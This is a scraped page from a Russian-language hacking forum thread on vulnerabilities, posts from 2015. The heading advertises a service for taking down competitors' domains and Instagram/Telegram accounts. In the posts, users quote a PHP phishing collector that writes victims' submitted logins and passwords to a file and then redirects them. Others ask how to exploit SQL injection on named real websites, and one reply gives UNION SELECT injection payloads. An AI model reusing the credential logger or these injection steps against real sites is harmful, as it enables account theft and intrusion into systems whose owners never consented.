УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 40 из 296

« Первая

140

Последняя »

Опции темы

Поиск в этой теме

Опции просмотра

#391

27.07.2015, 19:50

nik1201

Guest

Сообщений: n/a

Провел на форуме:
13708

Репутация: 0

Цитата:

Сообщение от None

Дальнейшая задача скрипта расположенного на удаленном сервере, заключается в приеме, обработке и сохранении POST параметров login и password. Некоторые ключевые фрагменты скрипта будут иметь следующий вид:
…
$fd = fopen($file,"a");
…
fputs($fd, " login: ".$_POST['login']." password:".$_POST['password']);
…
fclose($fd);
…
echo
"
document.location.replace('
http://www.site.com/auth.html’);
"

----------------------------------------------------------------------------------------------------------------------

как именно нужно прописать этот php?

примерно так?)))

#392

28.07.2015, 10:45

sysjuk

Guest

Сообщений: n/a

Провел на форуме:
69527

Репутация: 5

"site.ru/asdasd.php?id=-123'"

CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND d.is_deleted=0 AND a.is_deleted=0 AND a.is_approved=1 GROUP by d.id' at line 4

Как правильно раскрутить ее.

#393

28.07.2015, 12:00

BigBear

Новичок

Регистрация: 04.12.2008

Сообщений: 11

Провел на форуме:
69033

Репутация: 8

Цитата:

Сообщение от sysjuk

sysjuk said:
↑
"site.ru/asdasd.php?id=-123'"
CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND d.is_deleted=0 AND a.is_deleted=0 AND a.is_approved=1 GROUP by d.id' at line 4
Как правильно раскрутить ее.

-123+order+by+100+--+

-123+union+select+1,2,3,4,5,6+--+

Всё по стандарту. Никаких аномалий.

#394

28.07.2015, 12:59

sysjuk

Guest

Сообщений: n/a

Провел на форуме:
69527

Репутация: 5

Цитата:

Сообщение от BigBear

BigBear said:
↑
-123+order+by+100+--+
-123+union+select+1,2,3,4,5,6+--+
Всё по стандарту. Никаких аномалий.

Так дело в том что ничего не меняется))) Уже все перепробовал)

#395

28.07.2015, 13:17

YaBtr

Guest

Сообщений: n/a

Провел на форуме:
132418

Репутация: 652

Цитата:

Сообщение от sysjuk

sysjuk said:
↑
Так дело в том что ничего не меняется))) Уже все перепробовал)

Вы либо ссылку кидайте, либо разбирайтесь дальше сами. Флуд здесь не нужен.

#396

28.07.2015, 19:05

SaNDER

Guest

Сообщений: n/a

Провел на форуме:
51198

Репутация: 3

http://www.toramp.com/schedule.php?id=505' - появляются караракули .

И ничего более .

Единственное что узнал .

Host IP: 109.120.169.82

Web Server: nginx/0.7.67

Powered-by: PHP/5.3.3-7+squeeze14

#397

28.07.2015, 19:13

ocheretko

Новичок

Регистрация: 15.05.2010

Сообщений: 0

Провел на форуме:
29

Репутация: 0

Эти каракули написаны в кодировке - ISO-8859-5, и расшифровываются как Неверный формат запроса. Проверьте URL.

Простыми словами - Вы получаете сообщение от обработчика ошибок

#398

29.07.2015, 08:35

SaNDER

Guest

Сообщений: n/a

Провел на форуме:
51198

Репутация: 3

Цитата:

Сообщение от ocheretko

ocheretko said:
↑
Эти каракули написаны в кодировке -
ISO-8859-5
, и расшифровываются как
Неверный формат запроса. Проверьте URL.
Простыми словами - Вы получаете сообщение от обработчика ошибок

Благодарю,и это не как,не относится к SQL?Взломать нельзя? . Наверно сайт защищен от SQL .

#399

29.07.2015, 16:53

Genius Black

Guest

Сообщений: n/a

Провел на форуме:
1864

Репутация: 0

Warning: mysql_data_seek(): supplied argument is not a valid MySQL result resource in C:\wamp\www\productos.php on line 41

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in C:\wamp\www\productos.php on line 42

Warning: mysql_free_result(): supplied argument is not a valid MySQL result resource in C:\wamp\www\productos.php on line 43

Query invбlido: select explica from linea_explica where linea = ''''

С этим ничего как я понял нельзя сделать?